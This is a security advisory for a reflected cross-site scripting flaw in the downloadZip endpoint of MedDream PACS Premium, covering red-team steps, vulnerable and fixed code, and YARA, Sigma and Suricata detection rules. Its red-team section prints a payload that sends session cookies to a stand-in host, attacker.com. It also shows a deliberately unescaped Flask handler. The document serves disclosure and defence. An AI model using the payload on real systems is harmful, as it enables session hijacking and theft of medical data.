CVE-2025-53516

Executive Summary

CVE-2025-53516 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw resides in the downloadZip functionality, allowing an attacker to inject arbitrary JavaScript code via a specially crafted URL. With a CVSS score of 6.1 (Medium), this vulnerability requires user interaction but can lead to session hijacking, data theft, or further compromise within the PACS environment. No patch is currently available, and exploitation is straightforward via crafted links.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary medical imaging software (PACS) vulnerability. No supply chain package security implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. Exploitation is straightforward but requires user interaction. In a healthcare environment, XSS can lead to credential theft, session hijacking, or lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the downloadZip endpoint of MedDream PACS Premium. This endpoint is used to download DICOM studies as ZIP archives. The flaw is a reflected XSS where user-supplied input (likely a filename or parameter) is not properly sanitized before being reflected in the response.

Attack Flow:

1. Attacker crafts a malicious URL: https://pacs.example.com/downloadZip?studyUID=1.2.3.4.5&filename=<script>alert('XSS')</script>
2. Victim clicks the link (e.g., via phishing email).
3. The server reflects the malicious script in the response without sanitization.
4. The victim's browser executes the script in the context of the PACS application.
5. Attacker can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: Lack of output encoding or input validation on the filename parameter in the downloadZip handler.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

@app.route('/downloadZip')
def download_zip():
    filename = request.args.get('filename')
    # Directly reflecting user input without sanitization
    return f"<html><body>Downloading: {filename}</body></html>"

Patched Code (Expected):

import html

@app.route('/downloadZip')
def download_zip():
    filename = request.args.get('filename')
    safe_filename = html.escape(filename)
    return f"<html><body>Downloading: {safe_filename}</body></html>"

The patch would involve proper output encoding (e.g., HTML entity encoding) and input validation to reject or sanitize malicious characters.

Exploitation & Lab Setup

Red Team

Prerequisites:

• MedDream PACS Premium 7.3.6.870 running on a target.
• Victim with access to the PACS web interface.

Exploit Payload:

<script>alert('XSS')</script>

Crafted URL:

https://target-pacs.com/downloadZip?studyUID=1.2.3.4.5&filename=<script>alert(document.cookie)</script>

Advanced Payload (Session Hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

1. Deploy MedDream PACS Premium 7.3.6.870 in a controlled environment.
2. Use a browser to access the crafted URL.
3. Observe JavaScript execution in the browser's developer console.

Blue Team

Detection:

• Monitor web server logs for suspicious downloadZip requests containing <script> or onerror patterns.
• Use WAF rules to block reflected XSS patterns.

Hunting:

• Search for URLs with downloadZip and encoded HTML tags.
• Check for unusual outbound connections from PACS clients.

Mitigation:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Apply input validation and output encoding on all user-supplied parameters.

Indicators of Compromise (IOCs)

• URL Pattern: */downloadZip?*filename=*<script>*
• Network Traffic: HTTP requests to */downloadZip with filename parameter containing HTML/JavaScript.
• Log Entries: Web server logs showing GET /downloadZip?studyUID=...&filename=<script>...
• Client-side: Unexpected JavaScript execution in PACS web interface.

Detection Engineering

YARA Rule

rule CVE_2025_53516_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against MedDream PACS downloadZip endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-53516"
    strings:
        $url_pattern = /\/downloadZip\?.*filename=.*<script/i
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $url_pattern and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against MedDream PACS downloadZip
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0e9a7c
status: experimental
description: Detects reflected XSS attempts targeting the downloadZip endpoint of MedDream PACS Premium
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/downloadZip?'
        cs-uri-query|contains|all:
            - 'filename='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script in filename (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53516 MedDream PACS Reflected XSS Attempt"; flow:to_server; content:"/downloadZip?"; http_uri; content:"filename="; http_uri; pcre:"/<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable downloadZip functionality if not critical, or restrict access via firewall/ACL.
2. Implement WAF rules to block requests containing <script> or onerror in the filename parameter.
3. Apply input validation – allow only alphanumeric characters and safe symbols in filenames.
4. Use output encoding – HTML-encode all reflected user input.

Long-term Fix:

• Vendor must release a patch that sanitizes the filename parameter.
• Upgrade to a patched version once available.

Workaround:

• Use a reverse proxy (e.g., Nginx) to rewrite or block malicious requests:

if ($args ~* "filename=.*<script") {
    return 403;
}

Valters IT – DevSecOps & Cyber Threat Intelligence Expert.